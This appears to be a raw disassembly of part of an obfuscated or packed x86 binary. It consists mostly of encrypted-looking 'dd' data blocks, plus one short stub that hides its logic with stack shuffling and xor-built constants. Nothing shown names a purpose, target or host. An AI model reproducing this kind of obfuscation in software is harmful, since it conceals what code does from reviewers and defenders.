		dd 8444BD61h, 0DB68DF22h, 0E0728F1Bh, 823FF6B6h, 0FDA12353h
		dd 847D29D9h, 691D7E1Dh, 3655EBFAh, 0A32h
		dd 7FF60BA1h, 9E15EABBh, 0BA31D0DAh, 0D54CB3F6h, 0F56C9511h
		dd 0C0E6EFA9h, 0AD06CA41h, 8127EB62h, 62450980h, 0E45D269Dh
		dd 0AD896038h, 48BBF319h, 16946145h, 0DB159EBh,	5C490996h
		dd 0D8CF7FA3h, 9C25AE27h, 0D3A218F0h, 5BF7AB1Fh, 1FD3A183h
		dd 0F7B26216h, 0AACE7608h, 95A2BC33h, 36DB8700h, 0E315F081h
		dd 60209D2Fh, 0FA96BA45h, 25F2C226h, 87D10D8Ch,	8D1FE0C7h
		dd 6E2BC1E5h, 7F09745Ch, 0BCh, 0F7036F6h, 91851E01h, 9BBF6344h
		dd 9D624538h, 0B24F570Bh, 0D22F7939h, 8D7C1CAEh, 9B1FD3A6h
		dd 40C1E70Ch, 0EB6206AEh, 0ED7F8027h, 0C9E0A196h, 58FCA436h
		dd 0B4EBA9DFh, 8E1008Fh, 46BF6BE4h, 0DB15F0FDh,	0EE49B027h
		dd 1376229Bh, 0C01C146Ah, 0D3D3930Ch, 0B3F3B72Eh, 0C9E7142h
		dd 201B14E2h, 2CD066AAh, 4B2F07B3h, 0EC22C15h, 0D08E036Ah
		dd 31C7FA68h, 93512h, 0F908A400h, 18E7BE82h, 34CDDDA1h
		dd 4FB0F9BDh, 6F9214D8h, 0EBF2ACF8h, 0BCF46BBh,	2CF067A8h
		dd 4A0E857Ch, 622BA25Dh, 88653DE9h, 0C0F819ADh,	0A061454Dh
		dd 0B1426529h, 0D37B0D02h, 0EB7D8223h, 0B1289F43h, 18916245h
		dd 41CA43E7h, 0D3A1BD95h, 2FD0D91Fh, 8C1E42F6h,	0D2584F0Fh
		dd 0D3A14E26h, 892DE11Fh, 0DF2B565h, 55D5D494h,	0D3A1D1A9h
		dd 0CB0641Fh, 37AED27Ah, 42BDEAAAh, 8BE208B0h, 771FA7C3h
		dd 895DF91Dh, 9D1FD36Ah, 0BA7EF50Ah, 0CC8012EDh, 0E9224DBh
		dd 0D1D64B93h, 0B4F5B52Eh, 6B0274Bh, 0F0948BB3h, 0C65Ah
		dd 95A2E700h, 0DEC78700h, 0C3E78F21h, 0A601C14Ah, 0B4993559h
		dd 6115F0B3h, 0A77B1BADh, 0D25F2B3h, 7F08508Eh,	0F2B3FBD3h
		dd 0B6DA8E25h, 74565920h, 917409h, 59010000h, 1FD3A184h
		dd 7CA39BD1h, 2B1FCD3Fh, 3983B407h, 0D382B58Dh,	0F094481Fh
		dd 8B6ACB77h, 0FCF15F0h, 2BD3659Ah, 0A31ACE07h,	9E18D16h
		dd 2525F28Bh, 45ED7F80h, 33DF580Ch, 25F28A5Bh, 66163AEEh
		dd 0BF48C140h, 0F28A3B13h, 0F61ACE25h, 0B25EE764h, 25F28ADAh
		dd 4295B96Dh, 7B27A0F5h, 1C0F6A82h, 5FEC6317h, 0CE782C29h
		dd 0D6820251h, 2C1256FEh, 1539DD91h, 45BE4365h,	0B7DB2485h
		dd 2469CE25h, 6DC6FFABh, 0A75B222Fh, 4910130h, 0A28A0000h
		dd 0DB870095h, 15F0B2EAh, 8242BB6Fh, 0A048DA25h, 764AEA7Ch
		dd 0DC25F2B2h, 0FFBA815Dh, 0E097457h, 46Bh, 0EEBC7C9Bh
		dd 0B5D98113h, 9D9ADAABh, 0E6BF7FF8h, 0BBDF8719h, 81DD9642h
		dd 0BE7215F0h, 0B29C8B2Bh, 21E1B735h, 6EEB7D92h, 0B7F2EAC2h
		dd 25C97DCFh, 489AE01h,	0E65ADF8Bh, 5307C5D4h, 0C8CD6AC1h
		dd 0DD90C64Fh, 0EFE45DE8h, 0E548E408h, 92CBF90Ch, 2A565DEh
		dd 0C874B6F1h, 0DBF94BF0h, 7B2BCF83h, 0BA31D52Ah, 6342B1F6h
		dd 0BE620A9Ch, 0CD07457h, 5C7B114Ah, 726h, 73EA1795h, 9209F6AFh
		dd 0AE25DCCEh, 0C940BFEAh, 0E960A105h, 0CCDAE39Dh, 0B9FABE35h
		dd 8D1BDF56h, 6E39FD74h, 0D8511A91h, 0AD86542Ch, 3CAFE719h
		dd 17916245h, 0CB058EAh, 0AC14237Ah, 0A19F7723h, 7E321FD3h
		dd 0D3A20AE2h, 45E99D1Fh, 0A74F20CCh, 20D415F0h, 475E1EA7h
		dd 0A75F37E3h, 3EF225F2h, 3C60089Ah, 54631C8Ch,	0E171E273h
		dd 0D764DB7Fh, 0FDCAA24Eh, 0A95D25F2h, 2ED3D585h, 0FE24FC9Ch
		dd 805425F2h, 0F125F30Dh, 41CA4346h, 0D340CB8h,	13C725F3h
		dd 0EE4E53EFh, 47FB1C0Fh, 3AF38B5h, 2C122F2Bh, 4AE60ABEh
		dd 2C122F76h, 0BA815DDCh, 355CEFFh, 0BC376E2Eh,	0E07216E9h
		dd 0F486792Ch, 0EB84A84Ch, 25h,	47F37C78h, 1FD3A16Fh, 9B664202h
		dd 0B780D3F7h, 8F21E0C6h, 1ECA43E7h, 15F0851Dh,	5D7C0EC2h
		dd 0Eh,	95A2E6h, 0A8BADB87h, 0AB5F15F0h, 0F37CB219h, 0D3A16F47h
		dd 2A4E021Fh, 6BD22D7Ah, 9D68622h, 1366851Bh, 82000006h
		dd 9C60D72Ah, 0BB7FF609h, 0D79B12EFh, 0F2B62DD2h, 8AD64DB4h
		dd 28D9CDD0h, 49C6EDB1h, 679A0ED2h, 847B2CF0h, 1FCB440Dh
		dd 19AD8547h, 0A22FA2DAh, 0FE870095h, 0D3A17A52h, 4D3F201Fh
		dd 59041BBBh, 0CF486C20h, 0EFD0EE23h, 0DA053B15h, 0CACD98F7h
		dd 7A871FCFh, 0E31C40E8h, 27B8423h, 0F1AD7E56h,	0B95D1125h
		dd 0CB347327h, 0A94FA454h, 73C23CBAh, 0F740A71Eh, 4C6D1992h
		dd 0B14359EFh, 0EEA47C28h, 0E9C0535Bh, 0A3DC8416h, 0DE92CBEFh
		dd 0F20D984Ch, 6223147Bh, 9C15B948h, 78CFEBF0h,	52E49849h
		dd 0C8A04CD5h, 6E597B0Fh, 0DCD30A97h, 0EFA3DC3Bh, 265B2FCBh
		dd 42C1597Bh, 0C3DA9F9Ch, 0F8F336CCh, 80000000h, 870095A2h
		dd 0F0A8A6DBh, 7333F315h, 3054FC8Eh, 0FDB143F7h, 51DE55AAh
		dd 55E71891h, 0CED989ADh, 0AAFF9F31h, 6A3CBBA3h, 955503DBh
		dd 17C7EB14h, 34F86F90h, 8A138C73h, 8824DBCAh, 4D3DE2B0h
		dd 0EC25DCCCh, 0E2821438h, 6406DE8Dh, 899846C5h, 0DD6AE11Eh
		dd 1DD0A854h, 59767489h, 0D5D81D15h, 0CBEFA3DCh, 0E1738C1Bh
		dd 6BE4A98Ah, 890D07BFh, 25D15A74h, 74890C4Dh, 0CF082CE0h
		dd 0FA3DA41Bh, 0E1721E97h, 666AA621h, 3B6C20B2h, 1E894DC4h
		dd 49D24FE1h, 0A821C59Dh, 80A4587Ah, 0A82234E4h, 0FBE3627Ah
		dd 73A98126h, 0C5311625h, 936B07FEh, 267AA7E3h,	0A757CE72h
		dd 0E65BDD71h, 0AEC44BEAh, 0D3534AFBh, 7236AD51h, 9838CA35h
		dd 64C37590h, 0EA37A736h, 7CB42BDh, 76CD5FA0h, 0CA53CCC1h
		dd 0D2649B0Ah, 16A062Ah, 766B60A0h, 6E12FDB6h, 40C8F7h
		dd 0A2510000h, 0A77F2B95h, 3A1FD3A1h, 0BD69E286h, 15F085BCh
		dd 4A9CEB21h, 0BE4420DAh, 1BAD619Ah, 4AC13E67h,	83235210h
		dd 8B1DE2C3h, 0C76CBFE3h, 0BD9D49C2h, 2025F336h, 25B74A60h
		dd 6C20597Dh, 62457FF6h, 78BF269Dh, 0DFF09C15h,	6415F08Fh
		dd 317737B0h, 139559D0h, 0CE956D19h, 0F4B125F2h, 0F81ED20Bh
		dd 0E6001E78h, 0CE600407h, 54CDC077h, 1030D7A8h, 16A85C1Ch
		dd 1240A276h, 782DED2Ch, 294DF587h, 0B32C61D6h,	2F210207h
		dd 69FBAF22h, 847B2CECh, 8A264AF2h, 323160B6h, 0FA419D1Ch
		dd 1D36FDBFh, 184Eh, 95A2DB00h,	0E0C78700h, 0D682FB1Fh
		dd 15F085D5h, 1534C67Ah, 28h, 95A29Eh, 0C975FE87h, 1FD3A1F1h
		dd 10ACD084h, 15F0A7EFh, 3167E094h, 27585992h, 0CDF0333Bh
		dd 0A3C8DA00h, 0C930C2E6h, 369D6245h, 9D68679h,	632746DCh
		dd 0D2000003h, 0ECB027DAh, 0BCF46B9h, 27EB629Fh, 42067D82h
		dd 0DA269D64h, 78891D20h, 99763D01h, 0B74A5E22h, 0D42B7C40h
		dd 6F1B945Dh, 19AD8297h, 457FF22Ah, 570B9D62h, 0D138AF50h
		dd 0FEAA2366h, 15F0A9E9h, 0CF327636h, 0F3B272ABh, 50507A0Ch
		dd 7AC5D855h, 0FD8F33D7h, 0F35D895Dh, 6E70EF25h, 74FC8CCDh
		dd 582109h, 0A2AE0000h,	0A78C7E95h, 8F17EBE8h, 43BF0E3Bh
		dd 5505A9A8h, 8F08AC55h, 0F07A3EE3h, 7622AB15h,	25F2BA9Eh
		dd 0BB577D31h, 7C54BF8Eh, 83377094h, 0FDD5810Ah, 9025F366h
		dd 69B4B6DCh, 170AD540h, 0EDC161F3h, 5325F34Dh,	68310AD4h
		dd 850974E8h, 0E7h, 946B3CFCh, 62450D70h, 4F570B9Dh, 710339B2h
		dd 8B04FDF3h, 7E32C4E8h, 9D5DD629h, 0CE7AF30Ch,	1FD2F7F6h
		dd 1FB1D589h, 42EE3C6Bh, 1FD2F76Ah, 2EA549FDh, 0D2FC8F7Eh
		dd 0A69ED41Fh, 139D421Dh, 0A007B7DBh, 0B706DE8Ah, 0E5991FD2h
		dd 0A106CA41h, 0B705DD89h, 0E4981FD2h, 0E057AE40h, 5F8834ADh
		dd 0D415EFCBh, 0F542A920h, 0CA471FCBh, 26DA25F1h, 5D490982h
		dd 466A12A4h
		dd 0FBB44CDh, 25F1CA37h, 56F216CAh, 1C133A7Bh, 0EC0CA2D8h
		dd 0A5C797A8h, 0CE124881h, 1E6C4AC6h, 8D4DC66Ah, 0AD71E819h
		dd 88A108F9h, 3DFA16DAh, 1FC88A7h, 416B0000h, 208549C0h
		dd 6A468DFh, 0E9C084FBh, 0CBDB9F16h, 0B973BF36h, 980FF2B4h
		dd 0B930DFD4h, 0D74EB3F5h, 0F46B9413h, 2E06B22Bh, 0C119AD81h
		dd 61451689h, 426529A0h, 0A2CF46BDh, 9A4C7E95h,	86397428h
		dd 0AAE069E2h, 75D27016h, 5E0A8330h, 1FD32086h,	0A5416519h
		dd 15F00000h, 6038E46Dh, 0F325F23Fh, 0E78B7433h, 0DBCA8AC3h
		dd 69159224h, 25F23F91h, 28CC7024h, 3AE31996h, 6139E5A6h
		dd 0F425F1BCh, 0E8ED1A40h, 774BE70Bh, 0DD25F1EFh, 0FEBB805Eh
		dd 0F09750Eh, 0CEh, 47F37C9Ch, 1FD3A16Fh, 7A2A4E02h, 8C40D22Dh
		dd 0B555E71Ah, 1FD3A6C6h, 0B52CD3D4h, 0D049B6F1h, 0A6C39B47h
		dd 0A2561FD3h, 0A295EC7Eh, 8A4076EFh, 3BC6E4F4h, 0A51B9715h
		dd 2B734F7Fh, 1438C138h, 30C6EF9Bh, 3BFB15F1h, 3871956Ah
		dd 91A60D84h, 97D783FCh, 3A1C149Dh, 594D0D86h, 1BA431A8h
		dd 14DC976Fh, 52762A2Ch, 96FD04A2h, 0FA6841ADh,	0EB739228h
		dd 5A000000h, 7438AF52h, 9357CE31h, 0AF73EA17h,	0CA8E05FAh
		dd 62AE25DCh, 1A5A8h, 21EEC589h, 3FC2E6AAh, 5CA304C8h
		dd 0F7A31CE5h, 19AD811Fh, 45077AB2h, 471FCB61h,	0DA1FD3A1h
		dd 2901AD26h, 0BC1FD3A2h, 29ED6408h, 7D0A817Eh,	0B8CCC247h
		dd 0F5A50D57h, 15BD4FB0h, 62458EF1h, 50570B9Dh,	337636AFh
		dd 0CA31A8CCh, 79AF286Dh, 0B59022CAh, 0FB293505h, 0F248052Bh
		dd 630F88ACh, 15F8F04Ch, 0E79B2DE1h, 4C83FC0h, 0B22FDAA3h
		dd 0BB0F3D4Bh, 0A3E58517h, 81D27769h, 7235ECF2h, 0A8340CB8h
		dd 13C75279h, 0A916EE9Ah, 0F5A95279h, 9116DA51h, 8128DC6Eh
		dd 6E45057Eh, 43670FA1h, 3EA01FB1h, 0B54C5A1Ah,	39C6E191h
		dd 58A700C0h, 9D0BD132h, 4A6EC34Eh, 67980FD3h, 0E1B965EEh
		dd 0FD5279CFh, 6A1E57A8h, 395B446h, 1E000000h, 674540A7h
		dd 5354089Ah, 42661AACh, 3A792DBFh, 178F43D5h, 2A458EAh
		dd 0F0B96DFFh, 0E1C97D0Fh, 0CBDA8E20h, 5386A234h, 0C381E389h
		dd 4, 4BF57h, 0FB290000h, 241C875Fh
		db 5Ch
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ecx
		push	7DF6h
		mov	[esp], edi
		push	eax
		mov	eax, 344576AEh
		mov	ecx, 36F31573h
		xor	ecx, eax
		pop	eax
		xor	ecx, 49074CBh
		push	esp
		mov	edi, [esp]
		add	esp, 4
		push	eax
		mov	eax, 8
		add	eax, edi
		mov	[eax], ecx
		mov	eax, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		mov	ecx, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		jmp	loc_535A7A
; ---------------------------------------------------------------------------
		db 50h
		dd 357576B0h, 0FBB82289h, 3062622h, 97E0FFC5h, 466F81A4h
		dd 6C4312D8h, 0AB3A5327h, 944DB356h, 5E2404CEh,	0A3F452Bh
		dd 7C73AA99h, 0A41D566Bh, 0C74B1389h, 2B155662h, 937F6B05h
		dd 7C4C3849h, 9F5AE16Eh, 344BFB2h, 780488B5h, 5D2B571Ah
		dd 2E3D8FFCh, 0E37A811Eh, 503CB4E0h, 4C290A52h,	197DF265h
		dd 7346284h, 0EB4AAEE3h, 1E343704h, 569E90Fh, 65470000h
		dd 4461259Ch, 2A8044BBh, 0D9C60D7h, 0EFB77BF2h,	954F9B12h
		dd 74EB1690h, 950C03B0h, 0B32AD7D1h, 0D047B8EFh, 0AE28E07h
		dd 9D19AD7Fh, 0A753DC65h, 19AD7ECFh, 0FA05A262h, 45CF3256h
		dd 0EE249D62h, 572C5F28h, 0E41D8926h, 0E206AA52h, 0F70A9C50h
		dd 14EBBC80h, 51D9CE82h, 0D38BCDA5h, 8AC601Fh, 1CE3C276h
		dd 0B0DDD68Ah, 0F8A82B20h, 0CC5E02CAh, 0DD6F9218h, 7D83F1B3h
		dd 0F1F70FF5h, 0ABB17C62h, 11E9951Eh, 0A41FD2B3h, 8D51CCF0h
		dd 75EC1394h, 910AF7B1h, 469D285Bh, 89AD694Fh, 0A75A4E12h
		dd 0BD526115h, 0CF30772Bh, 0E021893Dh, 0F40B9A4Eh, 6FB22CB7h
		dd 9624C839h, 0B0515919h, 0D752761Eh, 738E1A07h, 0AFEAC4FAh
		dd 0B341A86h, 0D317875Fh, 0C2661A1Fh, 4463279Eh, 7305FAAFh
		dd 0F59527CBh, 1FD31820h, 8BB02EB9h, 0F09436CEh, 74DFh
		dd 62456C00h, 996B0B9Dh, 301FD3A1h, 9B0371A7h, 8719F6BDh
		dd 0B7DFB9DFh, 607EF91Dh, 94BB9EDBh, 1B8F4FF0h,	88AC54E6h
		dd 1EFh, 0BC7C7C00h, 42F216E9h,	9A239C63h, 0D3A216EEh
		dd 0D1F5A91Fh, 0E51A8B3Fh, 0F8FBAC6Ch, 1CAE52ADh, 2FC14068h
		dd 2DBFE387h, 3DCF3079h, 0E73AA433h, 8C841BEh, 25CD5FA2h
		dd 0A9CD3275h, 44396E32h, 17C83028h, 4AC1655Ah,	0A06145D3h
		dd 1AF29E27h, 0AD1FD3A2h, 8F43D5F9h, 0A357E916h, 43BCED06h
		dd 4F590D9Fh, 54DF20B2h, 0ED12978Ah, 904EC949h,	75EC1591h
		dd 7709F6B1h, 926D3AFAh, 7A325800h, 0D7A1F6F0h,	47631337h
		dd 808125E5h, 0D2AA46EEh, 651FD2CAh, 58FC05A5h,	3B6E22B4h
		dd 297E32C4h, 5B1A44D6h, 651FD76Ch, 0D608979Dh,	647AF957h
		dd 94F2F2D7h, 763BF0h, 45C80000h, 0EF129461h, 7F11B55Dh
		dd 0F5CD7902h, 881FD3A1h, 0AA00B0D4h, 2CBBC557h, 0BE376FB2h
		dd 0FD761AF5h, 717A85C7h, 0CFF36AE9h, 0EF129458h, 0FF00A95Dh
		dd 528C0B6Dh, 94F0E0E9h, 5E4DF0h, 45DA0000h, 0B8021E61h
		dd 7C917EA6h, 0D35B4756h, 2BCFCEC1h, 3EC3E599h,	0DE6DACh
		dd 71A78521h, 0E217EE53h, 865EFA00h, 0D91FD345h, 0D345552Dh
		dd 0FB34E81Fh, 0B52CA347h, 0D9F6045h, 0D3A1986Dh, 38A6311Fh
		dd 94BCB603h, 42EE77F0h, 1FD3AD6Ah, 7F2EFB10h, 0E4777A1h
		dd 19D365Ah, 2A000000h,	23906545h, 0EB25AECh, 20DFC87Ch
		dd 33C0E7A7h, 0C2E68A77h, 0D52C7C30h, 111B8F43h, 0D3A18D65h
		dd 0C86C201Fh, 746AF536h, 7204FDADh, 199826CAh,	0D6D393C5h
		dd 55550529h, 69CE35ACh, 7775AB24h, 28E00322h, 0EADCEA10h
		dd 0D7DBC598h, 2D8E3AB3h, 0D215EFDCh, 697EC99Ch, 0D87C2040h
		dd 0EA159246h, 7F8AF73h, 0C36FF875h, 25F285EBh,	0AA6CA7Eh
		dd 25F28538h, 0F7FE34C1h, 0EEC2731Bh, 0F1B9913Dh, 984C25F1h
		dd 8955D0F4h, 6F1B0F98h, 25F1F197h, 7A0CF5B3h, 41E599D2h
		dd 5EA106CAh, 708F18CCh, 0FFDF5ADEh, 376E8522h,	0EA8E36C8h
		dd 0CF0C973h, 2A1D0975h, 94000001h, 8124DFD4h, 0A048DA7Eh
		dd 95A2197Ch, 3D518700h, 91903DB9h, 15698752h, 0B58C37EFh
		dd 0A76C1891h, 5415F029h, 4D5A0EA0h, 30773BB2h,	1E893DCFh
		dd 50CB4FE1h, 0EB14938Eh, 8327E774h, 24C83772h,	0C42F6A00h
		dd 36BE0975h, 4B000000h, 0B4F293A2h, 6F13BB4Dh,	0A2E24AF6h
		dd 0A1551FD3h, 0A1976F0Fh, 9B261FD3h, 97FA3B43h, 0A30A721Eh
		dd 7D3D1FD3h, 7AB3D728h, 2C24FC6h, 1F3A5EB1h, 0A9h, 0BDF37CA8h
		dd 7B7011F2h, 0DE581F2h, 291FD2EEh, 49F1837Ch, 0E5385C10h
		dd 90C63F52h, 0F7CF4E4Bh, 58D1F511h, 0F00E23ACh, 52E49815h
		dd 0BDEA099Eh, 6408B042h, 817E29EDh, 0E804FEFh,	740325F2h
		dd 3AF0B76Ah, 0F20EB68Eh, 0F1954925h, 0FE214278h, 1CCB1ECDh
		dd 0AEB13531h, 0E60AAE41h, 5A2F086Fh, 706C35E1h, 2DE11C18h
		dd 3FC0E79Bh, 429C1BADh, 6814FB3Ch, 880E8B0h, 941D963Ah
		dd 18F610E8h, 857C2C2Ch, 0E41B8C4Ch, 0F7A31C40h, 223EDA2Eh
		dd 0FF10A363h, 77EEA2DBh, 0C692B4EAh, 2371075Eh, 0EE1451E4h
		dd 4C70526Ah, 95A2E9h, 8612DB87h, 0D38715F9h, 210F245Ah
		dd 0F3BFC1ABh, 0FB749B6h, 1B5476Bh, 1EE259A6h, 1DF5A189h
		dd 0B025FA23h, 3B77D6FCh, 54F7A403h, 7B7E1EB0h,	5B1711C9h
		dd 980F12CCh, 7B2CF067h, 6B3EF284h, 0F1700294h,	8C7334EDh
		dd 0A9565115h, 0AF817h,	7C810000h, 8113EEBCh, 67B5D9h
		dd 89A6745h, 1AAC5354h,	2DBF4266h, 43D53A79h, 58EA178Fh
		dd 6DFF02A4h, 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh,	5D545586h
		dd 4C581h, 0ED830000h, 242C8704h, 2752685Ch, 14890000h
		dd 0E7895724h, 4C781h, 0EF810000h, 4, 5C243C87h, 56242C89h
		dd 2623FEBEh, 8BF28906h, 0C4812434h, 4,	1C4C68h, 24248900h
		dd 4240481h, 5D000000h,	1DBA5252h, 296B873Ch, 5A042454h
		dd 8108458Fh, 3C1D0845h, 34FF6B87h, 0C4835D24h,	24148B04h
		dd 81E68956h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 0FFF95422h
		dd 4C1E854h, 0B8F41A34h, 62628D9h, 0E0FFC503h, 561DCCE5h
		dd 1232FAh, 79EE12F5h, 0F562AD2h, 1FCABBD4h, 2A996B5Eh
		dd 20BF59CAh, 33977522h, 538ED887h, 15A10E60h, 6DE9FFA6h
		dd 2DC6A1CAh, 25584D1Ah, 14BFEDAAh, 7C1EE413h, 23222DBFh
		dd 60E21305h, 54171139h, 57413773h, 330FAB19h, 3386F81Ch
		dd 84F804EBh, 12E90854h, 76000005h, 9054CB36h, 0AF73EA15h
		dd 0CB8F06FBh, 0E6AA21DEh, 7ECA41C0h, 1CE5C1C4h, 3DD2E1A5h
		dd 5BA602C6h, 788720E4h, 13BF3801h, 19AD783Bh, 4D0D96CEh
		dd 2285A966h, 0B9D6245h, 0FFA64F57h, 22C66E00h,	3FC0E7ABh
		dd 377030ADh, 6A8E36C8h, 8012EDBAh, 3A36CD03h, 0A85D35E1h
		dd 3CF01FD2h, 34652616h, 0BA456010h, 8911E28h, 0D34B845Ch
		dd 0B363171Fh, 0D47C0EF3h, 78A935B0h, 9559D02Fh, 0B377EE13h
		dd 0C67A0CF5h, 0FE9022EDh, 744CF881h, 71FD34Bh,	647FE6D1h
		dd 0F69AE718h, 9A8757D2h, 0B87CF30Eh, 0DE7E10EFh, 1FD2CB09h
		dd 74C717A2h, 0F0946B25h, 45C8h, 62455500h, 996B0B9Dh
		dd 301FD3A1h, 0B70239A5h, 56F094BCh, 1,	9F6045E3h, 314C590Dh
		dd 853E8CBCh, 0C63FE37Eh, 92211690h, 7DA18A93h,	8D7237EBh
		dd 7C62F1FBh, 88FF00A5h, 97783BFBh, 1BE4C373h, 61452DA4h
		dd 7E15FA1Eh, 1EC2C624h, 3DC2E5A5h, 0D2D38719h,	27B8421h
		dd 0D2F97E56h, 0B95D111Fh, 0CC357327h, 0E01F863Ah, 5C820D4Eh
		dd 8D651D1h, 41688D19h,	0B4C0343Ch, 8C303022h, 0FAAD71E8h
		dd 0EBBF7305h, 0A3228416h, 0C8C9003Bh, 0A664F094h, 0DB000000h
		dd 0C3738C1Bh, 92F519E6h, 0EA06145h, 2AD7D191h,	0AD545606h
		dd 0C041671Bh, 0D1307A2Eh, 38A6353Fh, 0AE40C1E9h, 0CD5C6206h
		dd 5F961011h, 9E15B946h, 0BC35CCDAh, 0A1AF8733h, 0E8CB1FD3h
		dd 163AEE27h, 26D9D084h, 0A07824ADh, 331FD3A1h,	15C95B7Fh
		dd 2BDF719Eh, 0E5EF817Eh, 24D08856h, 1FD3A14Ch,	29872BDFh
		dd 0C20734AAh, 6BF094BAh
		dd 5Bh,	0EBBC7CF8h, 2ADA8214h, 47EF8180h, 0CE337323h, 0C20883Ch
		dd 0D3A18860h, 0C3671B1Fh, 0E1208A4Ah, 0F183A74Fh, 66BB23B2h
		dd 0BD4AC140h, 9410E687h, 86AA36A8h, 9F604523h,	5B07900Dh
		dd 1FD3A183h, 0A23E6216h, 1FD3A1CDh, 3803DB66h,	0F094BC61h
		dd 68Ch, 67430300h, 7C13769Ah, 19CA5D46h, 97BB45A1h, 0AC3EC3E7h
		dd 6644AFF8h, 0B165F79Bh, 0C77B0D02h, 719E15DEh, 19337DFh
		dd 0B77668F7h, 0ED34AA29h, 40CD44BDh, 0D7D03380h, 4AF28428h
		dd 3164D326h, 9DAB0CB8h, 9C5015F0h, 0AE51560Ah,	0DE01FF35h
		dd 2B628965h, 0DBCC9007h, 55159224h, 0EE8AAE53h, 25F2461Ch
		dd 59C816A5h, 763AB14Eh, 883CCE31h, 0CA4EE01Fh,	40C98F4Fh
		dd 0F245BC94h, 779B4F25h, 0C09DE0C7h, 38A8620Fh, 812BA246h
		dd 9753A38h, 133D5h, 1D8C4C00h,	27D350E2h, 25F2274Fh, 668A2EE2h
		dd 95A203h, 0B73F5187h,	0B0A1673Bh, 0D3952C04h,	670BBF1Fh
		dd 7D0FF0B7h, 0AF38B1D5h, 2145BAEFh, 0F0AAC085h, 27B96D15h
		dd 54CB3473h, 56E81790h, 718E19D9h, 631337DFh, 0C42BB44h
		dd 223D0FBDh, 1DC942E7h, 25F2E945h, 6E0024D8h, 0B26F6FEAh
		dd 0E9930AF5h, 9740490h, 3B3Dh,	0BC7CCA00h, 456313EEh
		dd 0F04598BCh, 147C28A1h, 871FD3A3h, 4C441D3h, 0A03C60AFh
		dd 1FD3A1C8h, 4612CC57h, 50E22D86h, 43184A8h, 0F8600C85h
		dd 6B1FD3A2h, 8D1140B7h, 9A000000h, 870095A2h, 0F0BB52DBh
		dd 9A13C715h, 0D31D0DAh, 6A3EFE7Bh, 395D0597h, 6AE11E89h
		dd 85FE01A6h, 0BB7850FCh, 570B25F2h, 3201A133h,	0B525F2BDh
		dd 0EA426828h, 0F2BC663Eh, 0A145F925h, 0C843670Fh, 639C0B16h
		dd 0DFB285ECh, 0A7A4BA66h, 83371C18h, 0F6B474F1h, 0E6B28A36h
		dd 91452C18h, 0FEA75BEDh, 23C76F01h, 9B584FFFh,	3FC0E70Ch
		dd 0CF6105ADh, 5FF18327h, 0B780FEE0h, 97AD59D2h, 2A223ED1h
		dd 3C72FF76h, 6DD18211h, 0E84B6F1Fh, 870095A2h,	0F98CC5DBh
		dd 12A45815h, 3FB6495Eh, 41D32C7Bh, 0CA386BA1h,	1BA43133h
		dd 6C77976Fh, 52762A34h, 915107D7h, 0AD55E718h,	31CED989h
		dd 0F8A42DBAh, 346C7820h, 0ED8F7DB3h, 8AB64AEBh, 9512C2E6h
		dd 8524D86Ah, 0FECB017Ah, 0CAEB7C86h, 0C153E509h, 0FCBC9C42h
		dd 833357AAh, 27D8CF24h, 0D249ED95h, 0D466990Eh, 0FB5h
		dd 467C3E00h, 8F1D8E59h, 0FC05A1FAh, 7FE63458h,	89A6745h
		dd 1AAC5354h, 2DBF4266h, 43D53A79h, 58EA178Fh, 6DFF02A4h
		dd 7D0FF0B9h, 8E20E1C9h, 0A234CBDAh, 245A6886h,	4890000h
		dd 0E2895224h, 4C281h, 0EA810000h, 4, 5C241487h, 56243C89h
		dd 0C681E689h, 4, 4EE81h, 34870000h, 1C895C24h,	68535124h
		dd 5D13350h, 0C1E3D15Bh, 0F38106E3h, 9834B996h,	495BD989h
		dd 6B3BF181h, 0C1812656h, 1B370FA7h, 9BF18149h,	897414A3h
		dd 8B5459CFh, 0C481241Ch, 4, 8B951h, 0D9010000h, 59018F57h
		dd 5B2434FFh, 0FF04C483h, 815F2434h, 4C4h, 4EACE900h, 8A29FFF9h
		dd 0B1B891Ch, 0D95D05ABh, 2E49B899h, 0C5030626h, 25AAE0FFh
		dd 8C7B06C2h, 0FD37100Ah, 0DEA04D03h, 8114F3Bh,	7CB031BCh
		dd 8411452h, 2F731E04h,	93213959h, 23DF3FE4h, 17706BFh
		dd 33D3653h, 6D62596h, 8F33C2Eh, 0B0826B66h, 0E713E21h
		dd 33DF515Bh, 31471103h, 0E04E4B85h, 0B2D16D6Fh, 50932EFh
		dd 0E05419D4h, 883D447Ch, 75A55D9Ch, 0F5FD4139h, 67771DAEh
		dd 754B484Ah, 665C5D56h, 0CD00332Eh, 8D8D7549h,	6263058h
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Bh, 72C35040h
		dd 0D49FB709h, 6614D235h, 89EF3BBAh, 1F0B5D8Dh,	50006A06h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 921B59Bh, 8766BC04h,	20C585C7h, 6FE0061Fh, 6A0000h
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h
		dd 0C73CADC3h, 1F137D85h, 6, 51006A00h,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1904h,	0C3514100h, 3A56A39Bh
		dd 8B66DFB2h, 29B5FFD6h, 6A061F0Dh, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 0CB4AC355h
		dd 2D5995FFh, 820F061Fh, 6, 5FB2D681h, 0EE94642h, 10000000h
		dd 11C3201Bh, 20103851h, 30B83FAEh, 0FF006AFCh,	1F1D4595h
		dd 0EBC08B06h, 99E5793Ah, 7EEF0838h, 0A1BD06BFh, 0F552AAD3h
		dd 79DA8DBAh, 427D973h,	0AD7873C2h, 98A0E8EDh, 0D16D4F9Fh
		dd 0D49B9EAEh, 1D6DE361h, 0EA924018h, 28516132h, 3C99616Ah
		dd 0EB58C6FAh, 0FCD6A04h, 5C9E944h, 9A30000h, 0E8BD81F8h
		dd 0CEDCA017h, 0B1F8BC33h, 9313D74Eh, 0F1ABF76Eh, 0D047BAECh
